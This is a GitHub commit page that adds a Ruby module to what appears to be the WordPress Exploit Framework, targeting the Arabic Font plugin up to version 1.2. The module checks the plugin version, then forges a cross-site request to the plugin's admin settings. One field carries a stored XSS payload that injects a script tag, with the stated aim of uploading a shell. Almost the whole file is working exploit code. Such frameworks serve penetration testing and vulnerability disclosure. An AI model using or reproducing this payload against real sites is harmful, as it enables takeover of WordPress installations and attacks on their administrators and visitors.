Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit b25d4f4

Browse files
committed
Add Arabic Font <= 1.2 CSRF stored XSS shell upload
1 parent dad7d77 commit b25d4f4

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::ArabicFontCsrfStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Arabic Font <= 1.2 CSRF Stored XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Discovery + WPXF module
11+
],
12+
references: [
13+
['URL', 'https://www.rastating.com/arabic-font-1-2-csrf-stored-xss']
14+
],
15+
date: 'Jul 18 2017'
16+
)
17+
end
18+
19+
def check
20+
check_plugin_version_from_readme('arabic-font', '1.2.1')
21+
end
22+
23+
def initial_script
24+
create_basic_post_script(
25+
normalize_uri(wordpress_url_admin, 'admin.php?page=arabic-font%2Finc%2Finit.php'),
26+
'save1' => 'Save changes',
27+
'AF_fontfamily' => 'JF Flat Jozoor',
28+
'AF_fontsize' => '18',
29+
'AF_lineheight' => '45',
30+
'AF_textalign' => 'Center',
31+
'AF_defaultcssclass' => ".arab\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input+type=\\\"hidden\\\"+value=\\\"",
32+
'AF_customcss' => '',
33+
'action' => 'save'
34+
)
35+
end
36+
end

0 commit comments

Comments
 (0)